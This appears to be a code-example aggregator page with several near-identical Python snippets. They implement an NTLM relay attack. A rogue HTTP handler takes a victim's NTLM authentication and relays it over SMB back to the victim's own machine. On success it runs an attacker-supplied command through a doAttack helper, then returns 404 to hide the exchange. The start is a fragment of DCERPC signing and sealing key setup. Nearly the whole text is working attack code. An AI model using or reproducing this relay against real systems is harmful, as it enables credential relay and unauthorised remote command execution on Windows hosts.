        if flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
            self.session._DCERPC_v5__clientSigningKey = ntlm.SIGNKEY(
                flags, signingKey)
            self.session._DCERPC_v5__serverSigningKey = ntlm.SIGNKEY(
                flags, signingKey, b"Server")
            self.session._DCERPC_v5__clientSealingKey = ntlm.SEALKEY(
                flags, signingKey)
            self.session._DCERPC_v5__serverSealingKey = ntlm.SEALKEY(
                flags, signingKey, b"Server")
            # Preparing the keys handle states
            cipher3 = ARC4.new(self.session._DCERPC_v5__clientSealingKey)
            self.session._DCERPC_v5__clientSealingHandle = cipher3.encrypt
            cipher4 = ARC4.new(self.session._DCERPC_v5__serverSealingKey)
            self.session._DCERPC_v5__serverSealingHandle = cipher4.encrypt
        else:
            # Same key for everything
            self.session._DCERPC_v5__clientSigningKey = signingKey
            self.session._DCERPC_v5__serverSigningKey = signingKey
            self.session._DCERPC_v5__clientSealingKey = signingKey
            self.session._DCERPC_v5__serverSealingKey = signingKey
            cipher = ARC4.new(self.session._DCERPC_v5__clientSigningKey)
            self.session._DCERPC_v5__clientSealingHandle = cipher.encrypt
            self.session._DCERPC_v5__serverSealingHandle = cipher.encrypt
        self.session._DCERPC_v5__sequence = 0
        self.session._DCERPC_v5__flags = flags
        return signingKey

    def killConnection(self):
        if self.session is not None:
            self.session.get_rpc_transport().disconnect()
            self.session = None

    def keepAlive(self):
        return
        def do_OPTIONS(self):
            messageType = 0
            if self.headers.getheader('Authorization') is None:
                self.do_AUTHHEAD(message='NTLM')
                pass
            else:
                # constants.is_running = True
                typeX = self.headers.getheader('Authorization')
                try:
                    _, blob = typeX.split('NTLM')
                    token = base64.b64decode(blob.strip())
                except:
                    self.do_AUTHHEAD()
                messageType = unpack(
                    '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

            if messageType == 1:
                self.target = self.client_address[0]
                try:
                    self.client = SMBClient(self.target,
                                            extended_security=True)
                    self.client.set_timeout(60)
                except Exception as e:
                    print("Connection against target %s FAILED" % self.target)
                    print(str(e))

                clientChallengeMessage = self.client.sendNegotiate(token)
                self.challengeMessage = NTLMAuthChallenge()
                self.challengeMessage.fromString(clientChallengeMessage)
                self.do_AUTHHEAD(message='NTLM ' +
                                 base64.b64encode(clientChallengeMessage))

            elif messageType == 3:
                authenticateMessage = NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                respToken2 = SPNEGO_NegTokenResp()
                respToken2['ResponseToken'] = str(token)
                clientResponse, errorCode = self.client.sendAuth(
                    self.challengeMessage['challenge'], respToken2.getData())

                if errorCode != STATUS_SUCCESS:
                    # print("[-] Authenticating against %s FAILED" % self.target)
                    self.do_AUTHHEAD('NTLM')
                    constants.authentication_succeed = False
                else:
                    # print("[+] Authentication SUCCEED")
                    constants.authentication_succeed = True

                    execute_cmd = DoAttack(self.client, self.server.command)
                    constants.output_cmd = execute_cmd.run()
                    constants.smb_client = self.client
                    # And answer 404 not found
                    self.send_response(404)
                    self.send_header('WWW-Authenticate', 'NTLM')
                    self.send_header('Content-type', 'text/html')
                    self.send_header('Content-Length', '0')
                    self.end_headers()

                self.server.server_close()
                self.server.shutdown()
Example #20
0
	class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):

		def __init__(self, request, client_address, server):
			self.server = server
			self.protocol_version = 'HTTP/1.1'
			self.challengeMessage = None
			self.target = None
			self.client = None

			SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self, request, client_address, server)

		def handle_one_request(self):
			try:
				SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self)
			except:
				pass

		def log_message(self, format, *args):
			return

		def do_AUTHHEAD(self, message = ''):
			self.send_response(401)
			self.send_header('WWW-Authenticate', message)
			self.send_header('Content-type', 'text/html')
			self.send_header('Content-Length','0')
			self.end_headers()

		def do_HEAD(self):
			self.send_response(200)
			self.send_header('Content-type', 'text/html')
			self.end_headers()

		def do_GET(self):
			self.send_response(200)

		def do_OPTIONS(self):
			messageType = 0
			if self.headers.getheader('Authorization') is None:
				self.do_AUTHHEAD(message = 'NTLM')
				pass
			else:
				# constants.isRunning = True

				typeX = self.headers.getheader('Authorization')
				try:
					_, blob = typeX.split('NTLM')
					token =  base64.b64decode(blob.strip())
				except:
					self.do_AUTHHEAD()
				messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
			
			if messageType == 1:
				self.target = self.client_address[0]
				try:
					self.client = SMBClient(self.target, extended_security = True)
					self.client.set_timeout(60)
				except Exception, e:
					print "Connection against target %s FAILED" % self.target
					print str(e)

				clientChallengeMessage = self.client.sendNegotiate(token) 
				self.challengeMessage = NTLMAuthChallenge()
				self.challengeMessage.fromString(clientChallengeMessage)
				self.do_AUTHHEAD(message = 'NTLM '+ base64.b64encode(clientChallengeMessage))

			elif messageType == 3:
				authenticateMessage = NTLMAuthChallengeResponse()
				authenticateMessage.fromString(token)
				
				respToken2 = SPNEGO_NegTokenResp()
				respToken2['ResponseToken'] = str(token)
				clientResponse, errorCode = self.client.sendAuth(self.challengeMessage['challenge'], respToken2.getData())
				
				if errorCode != STATUS_SUCCESS:
					# print "[-] Authenticating against %s FAILED" % self.target
					self.do_AUTHHEAD('NTLM')
					constants.authentication_succeed = False
				else:
					# print "[+] Authentication SUCCEED"
					constants.authentication_succeed = True

					executeCmd = doAttack(self.client, self.server.command)
					constants.outputCmd = executeCmd.run()					
					constants.smb_client = self.client
					# And answer 404 not found
					self.send_response(404)
					self.send_header('WWW-Authenticate', 'NTLM')
					self.send_header('Content-type', 'text/html')
					self.send_header('Content-Length','0')
					self.end_headers()

				self.server.server_close()
				self.server.shutdown()
Example #21
0
	class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):

		def __init__(self, request, client_address, server):
			self.server 			= server
			self.protocol_version 	= 'HTTP/1.1'
			self.challengeMessage 	= None
			self.target 			= None
			self.client 			= None

			SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self, request, client_address, server)

		def handle_one_request(self):
			try:
				SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self)
			except:
				pass

		def log_message(self, format, *args):
			return

		def do_AUTHHEAD(self, message = ''):
			self.send_response(401)
			self.send_header('WWW-Authenticate', message)
			self.send_header('Content-type', 'text/html')
			self.send_header('Content-Length','0')
			self.end_headers()

		def do_HEAD(self):
			self.send_response(200)
			self.send_header('Content-type', 'text/html')
			self.end_headers()

		def do_GET(self):
			self.send_response(200)

		def do_OPTIONS(self):
			messageType = 0
			if self.headers.getheader('Authorization') is None:
				self.do_AUTHHEAD(message = 'NTLM')
				pass
			else:
				# constants.isRunning = True
				typeX = self.headers.getheader('Authorization')
				try:
					_, blob = typeX.split('NTLM')
					token =  base64.b64decode(blob.strip())
				except:
					self.do_AUTHHEAD()
				messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

			if messageType == 1:
				self.target = self.client_address[0]
				try:
					self.client = SMBClient(self.target, extended_security = True)
					self.client.set_timeout(60)
				except Exception as e:
					print("Connection against target %s FAILED" % self.target)
					print(str(e))

				clientChallengeMessage = self.client.sendNegotiate(token)
				self.challengeMessage = NTLMAuthChallenge()
				self.challengeMessage.fromString(clientChallengeMessage)
				self.do_AUTHHEAD(message = 'NTLM '+ base64.b64encode(clientChallengeMessage))

			elif messageType == 3:
				authenticateMessage = NTLMAuthChallengeResponse()
				authenticateMessage.fromString(token)

				respToken2 = SPNEGO_NegTokenResp()
				respToken2['ResponseToken'] = str(token)
				clientResponse, errorCode = self.client.sendAuth(self.challengeMessage['challenge'], respToken2.getData())

				if errorCode != STATUS_SUCCESS:
					# print("[-] Authenticating against %s FAILED" % self.target)
					self.do_AUTHHEAD('NTLM')
					constants.authentication_succeed = False
				else:
					# print("[+] Authentication SUCCEED")
					constants.authentication_succeed = True

					executeCmd = doAttack(self.client, self.server.command)
					constants.outputCmd = executeCmd.run()
					constants.smb_client = self.client
					# And answer 404 not found
					self.send_response(404)
					self.send_header('WWW-Authenticate', 'NTLM')
					self.send_header('Content-type', 'text/html')
					self.send_header('Content-Length','0')
					self.end_headers()

				self.server.server_close()
				self.server.shutdown()